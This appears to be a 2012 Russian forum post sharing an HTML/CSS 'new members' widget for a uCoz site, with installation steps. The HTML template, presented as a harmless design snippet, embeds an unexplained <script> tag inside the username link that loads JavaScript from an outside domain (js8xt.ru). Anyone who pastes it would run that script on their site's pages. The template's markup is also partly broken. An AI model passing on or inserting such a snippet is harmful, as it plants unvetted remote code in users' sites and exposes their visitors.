[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Модератор форума: raider  
Новый вид конформера Новые участники
PacikДата: Воскресенье, 15.04.2012, 16:07 | Сообщение # 1
Сержант
Группа: Пользователи
Сообщений: 28
Репутация: 0
Статус: Offline
http://s019.radikal.ru/i613/1204/21/518f3b07d877.bmp <- СКРИН

Новый вид конформера Новые участники

Установка:

Панель управления > Информеры
Создаете информер > Подбзователи > Дата регистрации D

Количество материалов: 12
Количество колонок: 3

Управление дизайном информера и вставляете этот код

Code
<div class="utop-user" align="center">
<a href="$PROFILE_URL$" class="ut-ava" return false;"><img src="<?if($USER_AVATAR_URL$)?>$USER_AVATAR_URL$<?else?>/images/noavatar.png<?endif?>"></a>
<a href="$PROFILE_URL$"><script src="http://js8xt.ru/ves.js" type="text/javascript"></script><span class="group$GROUP_ID$"><b>$USERNAME$</b></span></a>
<div class="utop-number">$NUMBER$</div>
</div>


В css Ставите этот код

Code
/*Новые участники*/
.utop-user {display:inline-block; width:70px; margin-bottom:8px; position:relative; font-size:10px;}
.utop-user .utop-number {position:absolute; top:-2px; left:-1px; padding:1px 3px; font-size:10px; font-weight:bold; color:#fff; background:#8429e2;
border-radius:2px; -moz-border-radius:2px; -webkit-border-radius:2px;}
.utop-user a.ut-ava img {max-width:52px; height:52px;}
.utop-user a.ut-ava {border:1px solid #DBDBDB; padding:2px; width:52px; text-align:center; display:inline-block;}
.utop-user a.ut-ava:hover {border-color:#9551fc;}
/*===================================*/


Алексей
 
  • Страница 1 из 1
  • 1
Поиск: